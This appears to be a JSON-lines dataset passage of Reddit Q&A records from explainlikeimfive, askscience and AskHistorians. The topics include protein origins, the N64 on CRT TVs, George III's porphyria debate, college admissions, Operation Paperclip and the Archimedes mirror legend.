acids, but rather a reduced set.  At any rate, to provide a selective advantage, they just had to do something.  What's the likelihood of that? Depends where you define \"something\".   If the bar is low (a few fold over the background rate), the frequency of proteins that can do a reaction (e.g., catalyze ester hydrolysis) is enough to get the process going (perhaps 1/100 to 1/10,000 protein sequences).  With heritability in place, you can get evolution as described above.  Without heritability, well, that remains a subject of active debate and investigation. :-)   ", "Yes, those calculations do not account a couple of things:\n\n* Relative abundance of aminoacids.\n* Potential energy wells (steric hindrance, hydrogen bonding, hydrophobic interactions, dipole-dipole interactions)\n* Dissipative structures\n* Molecular orbital stacking\n* Reaction kinetics (activation energy, transition state stability, saddle point characteristics and time dependency) and thermodynamics (reagent and product stability)\n* Wavefunctions and quantum uncertainty\n* Chaos theory\n\nAll those things, when taken into account, explain how proteins could have come to be, and how they change. They all weigh into the likelihood that two aminoacids will react, either aided by a ribosome and tRNA or by chance. So the calculation is not strictly uniformly random. There are probabilities for each aminoacid. And thanks to the inherent uncertainty of the world, you can get uncommon results. In reality, not every aminoacid has the same chance of reacting when it's not supposed to. There are many steps along the way that can mess with the process, even if most of the time we get the expected result, that's not the case all the time."]}, "title_urls": [], "selftext_urls": ["http://www.biology.arizona.edu/biochemistry/problem_sets/aa/aa.html", "http://www.ncbi.nlm.nih.gov/protein/NP_039269", "http://www.universetoday.com/36302/atoms-in-the-universe/"], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Weasel_program"], [], []]}
{"q_id": "4xa8gr", "title": "why are there still civilians inside aleppo after years of attacks?", "selftext": "Its been on the news recently, how people are requesting food, medical assistance, ceasefires within Aleppo. \n\nWhy do these people remain in Aleppo? Can't they just move elsewhere instead of asking others to risk life and limb to bring them aid?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xa8gr/eli5why_are_there_still_civilians_inside_aleppo/", "answers": {"a_id": ["d6dr8pr", "d6drsss"], "score": [3, 2], "text": ["Uh, where do you expect them to go?", "From their position leaving looks more dangerous than staying. It's easy to say just leave, but you have to seriously consider where you expect them to go. The people attacking the city are all around the city. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1axi3x", "title": "why does my n64 look so much better on an old crt than my 20\" lcd flat screen?", "selftext": "Also, input lag. Maybe I'm just imaging the lag, though- it's so difficult to track lag that's under a second.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1axi3x/eli5_why_does_my_n64_look_so_much_better_on_an/", "answers": {"a_id": ["c91n6f3", "c91oxnc", "c91tysx"], "score": [75, 25, 21], "text": [" It looks better because of the lack of pixels/lights in old TVs, which gave 3D objects a smoothing, fuzzy-ish effect. You could say less is more. When you play an old game on a new TV, you can see the sharpness and edges and that's why it looks funny. Also they weren't designing much for hi-def TVs since nobody really had them at the time (most computers were still big, boxy monitors.)", "You won't be imagining the lag either. Modern TV have all kinds of processing stuff going on which does cause very small but potentially noticeable lag. This varies depending on how good your TV is. Also, check to see if it has a gaming mode which reduces the processing on the image (and thus the lag).", "the N64 was part of the last generation of consoles to have analog output only, and was made to work with an analog TV, so it has lots of little tricks in the graphics that would take advantage of analog's impreciseness to hide bad-looking bits\n\nModern TVs are digital, and while they're compatible with analog...the tricks to hide 'rough spots' don't work on them.  The same is true of any other console of the N64's era, or before it. (side note: this is also why Videotapes and Laserdiscs look worse on non-CRT TVs.)\n\nSome people [have actually made little circuitboards that go between the console output and the TV](_URL_0_) and add in fake scanlines and ghosting, to make old games look better on new TVs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.retrothing.com/2011/04/slg-3000-add-grunge-to-vintage-video.html"]]}
{"q_id": "6oxj4a", "title": "What's the difference between vitiligo and albinism ?", "selftext": "I'm asking this question because I have vitiligo since 6-7 years old and vitiligo and albinism seem to be pretty similar ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6oxj4a/whats_the_difference_between_vitiligo_and_albinism/", "answers": {"a_id": ["dklc63i"], "score": [9], "text": ["They're not very similar. Vitiligo is when pigment cells in your skin die; often the cause is not known. It can start later in life. Albinism is genetic; you're born with it. It happens because an enzyme essential to making melanin is not present. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21n21a", "title": "if scale is relative is it possible that our universe exists inside a structure where our universe is the size that an atom is to us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21n21a/eli5_if_scale_is_relative_is_it_possible_that_our/", "answers": {"a_id": ["cgemgam", "cgemt3w", "cgenkd1", "cgerfcx", "cget0io"], "score": [4, 11, 2, 32, 7], "text": ["See also, Multiverse theory.", "Not really, at least not given our current understanding.\n\nPart of what gives atoms structure and what defines how they work is the strong nuclear and weak nuclear forces. These operate on the atomic scale, and are essentially irrelevant on the macro scale.\n\nOn the scale the size that we are, electromagnetism is the dominating force. Everything around us that we observe is observed that way due to electromagnetism.\n\nWhereas on the galactic scale, gravity is the dominating force, with electromagnetism a fairly close second.\n\nIf one was to postulate a larger structure with the size of the universe to it being comparable with an atom to us, there'd simply not be the force interactions to make anything meaningful out of it.", "One of the big problems is that we don't actually know how big the Universe is.  We know how big the *observable* universe is, which is the size of the universe that we can see, and we don't know how big it really is, or what happens outside of the observable boundary.  So for certain, it's possible that under the theory of the multiverse (where ours is just one of many infinite universes) or if our universe is really, really big, that the size of the observable universe would scale to the full universe like an atom scales to us.", "this is the plot of Horton Hears a Who if i'm not mistaken", "What? You mean like the end of the Men in Black movie? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8qrnue", "title": "What caused the madness of King George? His illness extended through most of 1789, one of the most consequential years in world history; what were the political consequences? Did it affect British international policies at the time?", "selftext": "...or was this already past the point where British monarchs were essential to national policy?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8qrnue/what_caused_the_madness_of_king_george_his/", "answers": {"a_id": ["e0lt9pt"], "score": [26], "text": ["I can say something on the disease bit. Although these kinds of armchair posthumous diagnoses can be pretty dodgy to say the least, the research in this case has been published in some leading journals. The dominant theory is one first advanced by [Macalpine and Hunter in 1966](_URL_7_), and [their 1968 follow-up](_URL_6_) of acute intermittent porphyria modified to variegate porphyria in the follow-up. Which is a hereditary genetic disorder in the synthesis of heme molecules, leading to them building up and causing a whole bunch of issues. This was on the basis of described symptoms including nausea, constipation, abdominal pain and urine discoloration, in addition to the neurological symptoms such as mania and hallucinations/delusions. The main dissent today is a professor TJ Peters, who's criticized Macalpine's evidence and argued in favor of a diagnosis of bipolar disorder. ([1](_URL_1_), [2](_URL_2_), [3](_URL_5_), [4](_URL_4_), pdfs ) \n\nPeters points to the weakness of the urine color evidence - Macalpine listed four references to the urine being variously 'bilious', 'darkened', 'bloody', leaving a 'blue ring' on a container and 'bluish'. As had been pointed out in the 60's in response to the article, _blue_ color is not really a symptom. Peters seems to identify the 'bluish' reference as a plain misreading. Blood-red or 'bilious' (golden brown) colors would be more consistent, but Peters points out that many things can discolor urine, and criticizes them for ignoring all the cases where the urine was described as normal-looking. \n\nPeters also points a lot to the difficulty of diagnosing porphyria on the basis of symptoms alone, and the rarity of the disease:\n\n >  \"The calculated probability that clinical symptoms will correctly identify porphyria is vanishingly small; indeed the probability of a false positive exceeds 99.999%. This is an expected consequence of a diagnostic test of imperfect specificity applied for a disease with a low prevalence. On statistical grounds alone, the case for the correct diagnosis of VP\nin the Royal Family is extraordinarily weak.\"\n\nBut on the other hand, Peters has supported his case with a [machine-learning computational linguistics analysis](_URL_0_) - which is certainly a novel idea, but hardly a clinically approved method of diagnosis. He overstates his case, such as claiming that Macalpine's article was immediately dismissed by porphyry experts, in reference to among other critical letters by Dent (BMJ 1968, 'Royal malady'), but ignores the supportive ones in BMJ at the same time. Also neglected is the fact that Dent's first objection was that he did not believe porphyria was as serious a condition in the past, and that the more severe symptoms invariably \"followed administration of modern drugs\". A skepticism of drugs not untypical of the time, but the point on porphyria isn't held to be true today. \n\nBut the most significant problem I find with Peters articles is that he completely ignores and dismisses genetic evidence, which (I feel) ought to be highly significant when it comes to a rare genetic disorder. In their follow-up, Macalpine et al had found two living descendants of George II with the diagnosis. Less significantly, they felt they'd found evidence of the condition in ancestors of George and other members of the house of Hannover. Not long after that publication, Prince William of Gloucester, a living direct descendant of George III was diagnosed with variegate porphyria, independently by several doctors. This is almost entirely ignored by Peters, and dismissed in one instance with: \n\n >  \"The significance of any evidence about the descendants of George III depends in great measure upon the original assessment of the King\u2019s symptoms. Quite simply, if George III did not have porphyria in the first place, then tracing the condition in descendants is irrelevant.\"\n\nDismissing possible evidence that your theory is wrong by the fact that it'd be irrelevant if the theory is right, is a bit disingenuous. Dishonest, even, considering that he'd made statistical arguments against the porphyria diagnosis. Knowing George's descendants and relatives have the diagnosis ought to make it _much_ more likely that he may have had it. Inheritance patterns and thus the probability varies depending on the specific type of porphyria, but it certainly ought to be far higher than the \"99.999% false-positive chance\" of the Hift, Peters, Meissner paper would seem to indicate.\n\nA weaker support of Macalpine's theory was [indications of arsenic poisoning](_URL_3_) found in 2005 in hair samples. Arsenic binds chemically to the protein in hair, so it remains there for a long time even after the poisoning occurred, and lasts as long as the hair itself. The main problem problem with the analysis though, is that arsenic compounds have been used for conservation of things in the past, so it's not always possible to exclude the possibility of contamination. (although samples are washed before analysis to try to remove any surface arsenic) Anyway, the reason why this would be significant is that arsenic exacerbates the effects of porphyria. It may be hard to judge the relevance of it, though. \n\nPersonally I don't have an opinion. If it's not clear from the above, I think both Macalpine-Hunter and TJ Peters seem a bit guilty of overstating their cases and ignoring evidence against them. If it hadn't been for the genetic evidence I might've been on-board with Peters, as there's not much evidence in favor of of porphyria specifically, and it's a rare disorder. But when multiple living relatives have been confirmed to have it, the very rarity of the condition works in the opposite direction. It is a question that might be definitively answered if they ever get a DNA sample of George, or survey his descendants. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0171626", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.897.5397&amp;rep=rep1&amp;type=pdf", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.1000.9731&amp;rep=rep1&amp;type=pdf", "https://www.ncbi.nlm.nih.gov/pubmed/16039338", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.892.8273&amp;rep=rep1&amp;type=pdf", "https://pdfs.semanticscholar.org/630d/1ea1e43e352686ad86b2622492e586997c56.pdf", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1984936/pdf/brmedj02065-0057.pdf", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1843211/"]]}
{"q_id": "k4swp", "title": "could you please eli5 college.", "selftext": "I know its a vague question and its a stupid one to. But i was home schooled and was never taught about what college is about and how to get in and about financial aid, and how to register and about courses and all that stuff. i want to be a Vet if that helps. ive tried looking online but without a base knowledge its like im looking at another language. So could you please tell me the basics, like they would tell you in high school. i Just graduated so im really looking into going to college.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/k4swp/could_you_please_eli5_college/", "answers": {"a_id": ["c2hid2z", "c2hkioj", "c2hn3po", "c2hid2z", "c2hkioj", "c2hn3po"], "score": [11, 5, 3, 11, 5, 3], "text": ["You need to contact a local college and set up an appointment with either a counselor in the animal science department, the registrar (deals with registration among other things), or the financial aid office.  They will sit down and explain a lot of your questions better than anyone here can.  Plus it's the first step towards your future education.  They will meet with you even though you aren't a student, so don't worry about that.  Your goal Tuesday morning is to make the call to setup and appointment.  Explain exactly what you've said here and you will be on your way.  Best of luck :)", "I completely agree with what people have said about going to see a counselor. But if you're like me and need some general understanding of what you're going to talk to someone about here is a very brief intro to college:\n\nYou have two routes to getting your undergraduate degree: go to community college (a local two year institution where the highest degree you can earn is an Associate's Degree) or go straight to a four year university (where you can earn a Bachelor's of Science, Arts, Fine Arts, Master's, PhDs, etc). At community college you will spend the first two years of your education getting your general education requirements out of the way. These are things like math, basic science, English and things that are not specific to your major but have been deemed necessary for you to learn so that you are \"well rounded.\" You would also (generally--it varies by college) do this kind of work within the first two years of a four year college. After two years at community college you would then transfer to a big four year university to begin your major and complete your degree in the following two years. College (starting at community college or starting at a four year university) should take a total of four years (for some it is shorter and for some it is longer but generally that is how long it is supposed to take.).\n\nCommunity college is usually significantly cheaper than going straight to a four year university and I would like to stress that THERE IS NOTHING WRONG WITH GOING TO COMMUNITY COLLEGE FIRST. Some people get all bent out of shape about community college and they think it's \"inferior\" to go to one. It's not. At all.\n\nThe other thing, for your case as you want to be a vet, is that an undergraduate degree (what you get at a four year university) is not going to be enough. To become a vet (or a human doctor) you will need to go to a specialized veterinary school for an additional period of time (I think four years). This is something that you will have to apply to separately once you are about to graduate from your undergrad college. This is also something you can talk about with a career counselor at your future college. They will point you in the right direction.\n\nIn terms of applying, each school is different and will ask for different things. At the very least you will have to take the SAT/ACT (which are national standardized tests) and send your score on one of those tests along with your transcript (or equivalent as you were home schooled). Some colleges will ask you to write essays as part of their admission process. Usually a college's admissions page on their website will tell you what you need to know to apply. It also costs money to apply to schools.\n\nIn terms of applying for financial aid, there is a national program called FASA where the government can give you money but this is based on your family's tax information. If you are above a certain threshold (I don't know what it is) you will not qualify and will not receive money. Many \"for aid\" scholarships will work this way. You can also apply for academic based scholarships which don't factor in how much money your family has but just looks at your grades and generally you have to write some kind of essay. If you just Google, scholarships things should pop up that you can apply to. Also, ask the counselor at your meeting about what kind of scholarships are available that they know about. You can also apply for student loans.\n\nRegistering for courses and things like that are usually explained at some kind of orientation at each school and vary wildly from school to school so I'll just let your college explain that one to you. :)\n\nWhen it comes to researching schools, I would suggest looking for schools that are good for the specific program you are interested in but  keep in mind pretty much every one changes their major at least once so it is also good to go to a school where A) it is easy to change your major and B) is rounded enough to have other good programs.\n\nI hope that is kind of helpful. Good luck! ", "For Starters, your home school instructor (mom!?) did you a disservice if her goal was strictly to get you a HS degree. I'm surprised your Home School Instructor didn't begin to counsel you on higher education. Seems like your instructor dropped the ball. \n\nIf you are truly left on a limb on what to do, other posters gave you brilliant advice. \n\nIf I were you, tmrw I'd go to my CLOSEST Community College and make an appt to speak with a counselor. Tell them you want to take transferable general education courses appropriate for = hopefully = transferring to a university by your Junior year. \n\nAs Anzunagi and other's said: let's make this quick and cheap... Do Comm. College!\n\nGet good strong grades in your math, science and English Comp courses and apply your 2nd year at Comm College for a decent state school to finish up your four year degree. \n\nKeep your grades up.\n\nFinancial aid is an option for you, but keep in mind, if you are under 24, your parents income will be required. Doesn't matter if they are divorced, both have to show income on your FAFSA.\n\nIf you do NOT qualify for Free money / grants (Think PELL Grants!) you can still qualify for Stafford gov't subsidized student loan.\n\nKeep your undergrad cheap. Spend big on grad school. (Presumably vet school!?!) \n\nIf you are serious and truly still lost, private msg me. I'm a college counselor. I will help, but I'm not a fan of your home schooler.\n\nSorry!", "You need to contact a local college and set up an appointment with either a counselor in the animal science department, the registrar (deals with registration among other things), or the financial aid office.  They will sit down and explain a lot of your questions better than anyone here can.  Plus it's the first step towards your future education.  They will meet with you even though you aren't a student, so don't worry about that.  Your goal Tuesday morning is to make the call to setup and appointment.  Explain exactly what you've said here and you will be on your way.  Best of luck :)", "I completely agree with what people have said about going to see a counselor. But if you're like me and need some general understanding of what you're going to talk to someone about here is a very brief intro to college:\n\nYou have two routes to getting your undergraduate degree: go to community college (a local two year institution where the highest degree you can earn is an Associate's Degree) or go straight to a four year university (where you can earn a Bachelor's of Science, Arts, Fine Arts, Master's, PhDs, etc). At community college you will spend the first two years of your education getting your general education requirements out of the way. These are things like math, basic science, English and things that are not specific to your major but have been deemed necessary for you to learn so that you are \"well rounded.\" You would also (generally--it varies by college) do this kind of work within the first two years of a four year college. After two years at community college you would then transfer to a big four year university to begin your major and complete your degree in the following two years. College (starting at community college or starting at a four year university) should take a total of four years (for some it is shorter and for some it is longer but generally that is how long it is supposed to take.).\n\nCommunity college is usually significantly cheaper than going straight to a four year university and I would like to stress that THERE IS NOTHING WRONG WITH GOING TO COMMUNITY COLLEGE FIRST. Some people get all bent out of shape about community college and they think it's \"inferior\" to go to one. It's not. At all.\n\nThe other thing, for your case as you want to be a vet, is that an undergraduate degree (what you get at a four year university) is not going to be enough. To become a vet (or a human doctor) you will need to go to a specialized veterinary school for an additional period of time (I think four years). This is something that you will have to apply to separately once you are about to graduate from your undergrad college. This is also something you can talk about with a career counselor at your future college. They will point you in the right direction.\n\nIn terms of applying, each school is different and will ask for different things. At the very least you will have to take the SAT/ACT (which are national standardized tests) and send your score on one of those tests along with your transcript (or equivalent as you were home schooled). Some colleges will ask you to write essays as part of their admission process. Usually a college's admissions page on their website will tell you what you need to know to apply. It also costs money to apply to schools.\n\nIn terms of applying for financial aid, there is a national program called FASA where the government can give you money but this is based on your family's tax information. If you are above a certain threshold (I don't know what it is) you will not qualify and will not receive money. Many \"for aid\" scholarships will work this way. You can also apply for academic based scholarships which don't factor in how much money your family has but just looks at your grades and generally you have to write some kind of essay. If you just Google, scholarships things should pop up that you can apply to. Also, ask the counselor at your meeting about what kind of scholarships are available that they know about. You can also apply for student loans.\n\nRegistering for courses and things like that are usually explained at some kind of orientation at each school and vary wildly from school to school so I'll just let your college explain that one to you. :)\n\nWhen it comes to researching schools, I would suggest looking for schools that are good for the specific program you are interested in but  keep in mind pretty much every one changes their major at least once so it is also good to go to a school where A) it is easy to change your major and B) is rounded enough to have other good programs.\n\nI hope that is kind of helpful. Good luck! ", "For Starters, your home school instructor (mom!?) did you a disservice if her goal was strictly to get you a HS degree. I'm surprised your Home School Instructor didn't begin to counsel you on higher education. Seems like your instructor dropped the ball. \n\nIf you are truly left on a limb on what to do, other posters gave you brilliant advice. \n\nIf I were you, tmrw I'd go to my CLOSEST Community College and make an appt to speak with a counselor. Tell them you want to take transferable general education courses appropriate for = hopefully = transferring to a university by your Junior year. \n\nAs Anzunagi and other's said: let's make this quick and cheap... Do Comm. College!\n\nGet good strong grades in your math, science and English Comp courses and apply your 2nd year at Comm College for a decent state school to finish up your four year degree. \n\nKeep your grades up.\n\nFinancial aid is an option for you, but keep in mind, if you are under 24, your parents income will be required. Doesn't matter if they are divorced, both have to show income on your FAFSA.\n\nIf you do NOT qualify for Free money / grants (Think PELL Grants!) you can still qualify for Stafford gov't subsidized student loan.\n\nKeep your undergrad cheap. Spend big on grad school. (Presumably vet school!?!) \n\nIf you are serious and truly still lost, private msg me. I'm a college counselor. I will help, but I'm not a fan of your home schooler.\n\nSorry!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "dun5kc", "title": "Help me understand Operation Paperclip", "selftext": "\nI was led to believe my grandfather was involved in operation paperclip, as a military escort to Werner Von Braun.\n\u00a0I found a letter in my aunt's things after she'd died. The letter reads:\n\n\n\nHEADQUARTERS\n\nRes Dev Sv Sub-office (Rocket)\n\nFort Bliss, Texas\n\n\nJFH/aje\n\n\nMar 15.1946\n\n(Date)\n\n\nSUBJECT Special Authorization\n\nTO: Whom it may Concern\n\n\n1. The bearer of this letter Sgt. (Grandpa's name) AST #\n\nis an aged on a Special Mission for the War Department.\n\n\n2. He is not be interfered with in the performance of his duties\n\nby the Military Police or other military organizations.\n\n\n3 He is hereby authorized to have in his personal custody persons\n\nwho shall not be questioned or asked to prove identity, and for those\n\ncustody and good faith he shall be entirely responsible.\n\n\n4. Federal, State and municipal Police and other law enforcingagencies are requested to assist him in anyway possible in the performance\n\nof his reunion. In the event further information is desired or should a\n\nbreach of the peace order, it is further requested that the agencies listed\n\nabove communicate directly ith this headquarters by telephone, Extension\n\n5221 or 4235.\n\n\n\nJames p. Hamill\n\nMajor, Ord Dept\n\nCommanding\n\n\n\nI asked my mom about it, and she said \"didn't anyone ever tell you? He was assigned to escort Werner von Braun after the war.\"\n\n\nShe didn't know much about what happened, but said she thought he'd come in via Mexico. I'm wondering what might have occurred during this travel. Where would they have been? Did they travel openly or in secret? Any insight would be helpful. I'm happy to share photos of the letter.\n\n\n\nThank you very much", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dun5kc/help_me_understand_operation_paperclip/", "answers": {"a_id": ["f77jjag"], "score": [9], "text": ["Although I\u2019m certain a historian with familiarity with the operation will answer your specific question in detail, I want to let you know that you can find primary sources on this this person your family may enjoy having. \n\nFirst, request his complete military personnel file from NARA\u2019s National Personnel Records Center. Make sure you take the steps outlined in instructions on their site to certify you are family and can gain access to more than a random person requesting data on a specific person. \n\nDepending on branch of service and how detailed of records were kept, you may see unit information, and dates of various assignments, and possibly copies of orders and documents like the one you quote from. \n\nOnce you\u2019ve received the records check with the National Archives and Records Administration for records of units or specific assignments. Depending on time of service, the equivalent of a \u201cdaily log\u201d exists for some units. You can request them for the period the relative was in the unit to have some idea of what the unit was doing at that time. Be forewarned that sometimes, even when NARA\u2019s finding aids say they have particular military records they will try to send you to NPRS or the Army Center for Military History (which also has some unit records\u2014not sure why they are divided as they are). \n\nThe unit records can help you understand what your person was doing or where they were at different parts of their service in that unit. \n\nIf he was part of Paperclip, there are many primary sources specific to that, but you would probably be better if digesting the entire operation through a book by a historian or, if one exists, a government report or history on the operation. \n\nNPRC records are usually sent at no cost to family. NARA charges for copies of unit records plus some processing fees. I recently paid NARA around $180 for a year\u2019s worth of records for my dad\u2019s Army unit in Vietnam, which I\u2019ve not yet received, but believe the page count was about a couple hundred pages. They will send you an email or letter telling you how many pages there are and how much duplication and mailing will cost."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4f0uue", "title": "why are socrates, plato and aristotle considered to have \"laid the very foundations of western philosophy and science\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4f0uue/eli5_why_are_socrates_plato_and_aristotle/", "answers": {"a_id": ["d250zlq", "d252vvo", "d25487b"], "score": [2, 2, 2], "text": ["Hi\nI think before Socrates its was all pretty elitist.  The presocratic philosophers like Pythagoras, Thales or Hericlitus where known more as natural scientists and dealt with abstractions of physics etc, whereas Socrates was the first to encourage people to be reflective and seek knowledge using their own rationality.  It was also geared on helping them live better. This became the spirit of philosophy.\nWe only know of Socrates through Plato's dialogues.  ARistotle was a pupil of Plato and both set up academies which I guess had Socrates approach at their heart.\nThat's my take anyway", "Socrates biggest contribution was probably the Socratic method, the logic that he can't really 'know' anything and that through dialogue and discussion we can uncover weaknesses in our own logic. Its a method of eliminating hypotheses, with the idea of eliminating all but the truths. Its the basis of modern science essentially. 'When you eliminate the impossible, whatever remains, however improbable, must be the truth' Sherlock Holmes. Its that line of reasoning. By conducting experiments, we can find out what isn't true. There is a far greater body of disproven theories than there are correct ones. But by finding out what is wrong, we move ever closer to what is right. \nThey also debated things like ethics, politics, metaphysics and so on. While a lot of the beliefs they had have been disputed, their philosophies set the foundations for much of future western philosophy.", "Socrates' most famous idea was that he was aware of his own ignorance.  So he might take an idea like \"Is it just (justice) to punish criminals?\"  And he would ask someone who considered themselves an expert on this topic very basic questions in order to understand the ideas.  \"What do we mean by justice?\"  \"How do we determine who is a criminal?\"  From this we can take the idea that in the scientific method we should clearly define our basic terms and make no assumptions.\n\nPlatos' most famous idea, the allegory of the cave, posits (proposes) the idea that truth exists outside of the human mind.  The world in truth is different than you perceive it.  For example, you experience lightning and thunder.  However, this is one event that you experience at two separate times.  The light and the sound.  The thing that occurs is different than your experience, and you can only know that if you learn that your senses are not entirely trustworthy.  The way you interpret the world is not necessarily the way the world actually exists.  The scientific method focuses on what actually occurs in the world outside of our senses.\n\nAristotle was a supremely logical thinker, despite his many flaws.  The genus/species latin names for things: that derives from the Greek Aristotle.  He was great at categorizing things.\n\nIt is worth noting that Philosophy also gave birth to many of the sciences we now recognize.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "vdfye", "title": "How big would a meteorite have to be in order to obliterate a single house?", "selftext": "Say I had absolutely perfect aim, and nudged a rock from the asteroid belt into an intercept trajectory for my mortal enemy's house.\n\nWhat's the smallest rock I should choose to be certain of killing him, while keeping collateral damage to a minimum?\n\nI assume I'd need the energy of a decent car bomb at ground level - after all the ablation and braking from the atmosphere. \n\nWhat kind of mass are we looking at, here?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vdfye/how_big_would_a_meteorite_have_to_be_in_order_to/", "answers": {"a_id": ["c53j9n1", "c53j9qk"], "score": [5, 21], "text": ["Do you mean mass at entry, or mass at impact (as it will be significantly reduced after burning up through the atmosphere on/after entry).", "Size isn't the only contributing factor. The speed and angle in which the object impacts the atmosphere are very important in determining how long it will survive. The object's composition also plays a role.\n\nAs this scenario is hypothetical (I think?) [you can use this neat tool to play around.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.purdue.edu/impactearth"]]}
{"q_id": "2fd9yq", "title": "how does linkedin know my email and request that i sign up when my friends request that i join?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fd9yq/eli5_how_does_linkedin_know_my_email_and_request/", "answers": {"a_id": ["ck8436b"], "score": [6], "text": ["They allowed LinkedIn access to their address book."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5rnwz0", "title": "According to legend, Archimedes used mirrors to reflect the sun's rays to burn Roman galleys. Is there any truth to this story?", "selftext": "And are there any other stories or records of peculiar incendiary weapons (not including greek fire)?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5rnwz0/according_to_legend_archimedes_used_mirrors_to/", "answers": {"a_id": ["dd8wbq0", "dd8zpww"], "score": [24, 17], "text": ["Maybe? But probably not.\n\nThe physics of the problem are such that it *is* mathematically possible for a few hundred mirrors to generate enough heat to set wood alight. Modern concentrated solar power generators use the method to generate power today. Frequently this includes melting salt and using the molten salt as for power generation. So conceptually it is possible.\n\nSeveral attempts to recreate the supposed event have had mixed results. In 2009, 127 MIT students used the method to successfully burn down a rowboat. In 2010 *Mythbusters* used 500 volunteers, but weren't able get their boat to catch on fire. Even in the MIT experiment it took 10 minutes for the fire to catch. It's hard to imagine that the Romans would just sit there and let Archimedes burn ships down. Supposedly this was done at bow shot range. So you'd imagine the Romans shooting bows to disrupt the mirrors and their holders, and using fire suppression techniques.  Unlike Greek fire, mirror started fires would be easily doused. \n\nWhat casts more doubt on the story is all the surviving ancient sources neglect to mention the mirror story. Livy, Polybius, and Plutarch all wrote about the siege. They all mention \"The Claw,\" which was a crane Archimedes built to catch and flip the Roman ships. They also mention novel new siege engines, catapults and the like. But none of them mention fire or mirrors. Lucian and Galen mention fire, but not mirrors. Our source for the mirror story comes from the 12th century, and although they claim to be quoting an ancient source, that source has been lost to us.\n\nIf Archimedes tried to burn the Roman ships, its likely he would have used a more traditional weapon like catapulting pots of burning pitch on to them. The laser beam like weapon that Zonares and Tzetzes describe likely never existed. ", "The oldest sources don\u2019t say anything about Mirrors  \nPolybius, writing somewhere in the 100\u2019s BC says:  \n > Archimedes had constructed artillery which could cover a whole variety of ranges, so that while the attacking ships were still at a distance he scored so many hits with his catapults and stone-throwers that he was able to cause them severe damage and harass their approach. Then, as the distance decreased and these weapons began to carry over the enemy's heads, he resorted to smaller and smaller machines, and so demoralized the Romans that their advance was brought to a standstill. In the end Marcellus was reduced in despair to bringing up his ships secretly under cover of darkness. But when they had almost reached the shore, and were therefore too close to be struck by the catapults, Archimedes had devised yet another weapon to repel the marines, who were fighting from the decks. He had had the walls pierced with large numbers of loopholes at the height of a man, which were about a palm's breadth wide at the outer surface of the walls. Behind each of these and inside the walls were stationed archers with rows of so-called 'scorpions', a small catapult which discharged iron darts, and by shooting through these embrasures they put many of the marines out of action. Through these tactics he not only foiled all the enemy's attacks, both those made at long range and any attempt at hand-to-hand fighting, but also caused them heavy losses.  -  Polybius, Histories \n  \nLivy, writing in the 10\u2019s BC wrote:  \n > Archimedes countered by moving into position on the walls pieces of artillery of varying size; at the ships off-shore he hurled stones of enormous weight, assailing those closer in with missiles which, though lighter, could for that reason be discharged more frequently. Then, to enable his own men to discharge their missiles at the enemy without danger to themselves, he made rows of loopholes, ranging from top to bottom of the wall and some eighteen inches wider, through which, themselves unseen, they could shoot at the enemy either with arrows or with smallish catapults. Some of the enemy ships came close in-shore, too close for the artillery to touch them; and these he dealt with by using a swing-beam and grapnel. The method was this: the swing-beam projected over the wall and an iron grapnel was attached to it on a heavy chain; the grapnel was lowered on to a vessel's bows, and the beam was then swung up, the other arm being brought to the ground by the shifting of a leaden weight; the result was to stand the ship, so to speak, on her tail, bows in air. Then the whole contraption was suddenly let go, and the ship, falling smash as it were from the wall into the water  -  Livy , History of Rome\n  \nAnd Plutarch, writing in second century AD says:   \n > Archimedes began to ply his engines, he at once shot against the land forces all sorts of missile weapons, and immense masses of stone that came down with incredible noise and violence; against which no man could stand; for they knocked down those upon whom they fell in heaps, breaking all their ranks and files. In the meantime huge poles thrust out from the walls over the ships sunk some by the great weights which they let down from on high upon them; others they lifted up into the air by an iron hand or beak like a crane's beak and, when they had drawn them up by the prow, and set them on end upon the poop, they plunged them to the bottom of the sea; or else the ships, drawn by engines within, and whirled about, were dashed against steep rocks that stood jutting out under the walls, with great destruction of the soldiers that were aboard them.  -  Plutarch, Parallel Lives\n  \nWasn\u2019t \u2018til way later that mirrors  &  death-rays were added to the story"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
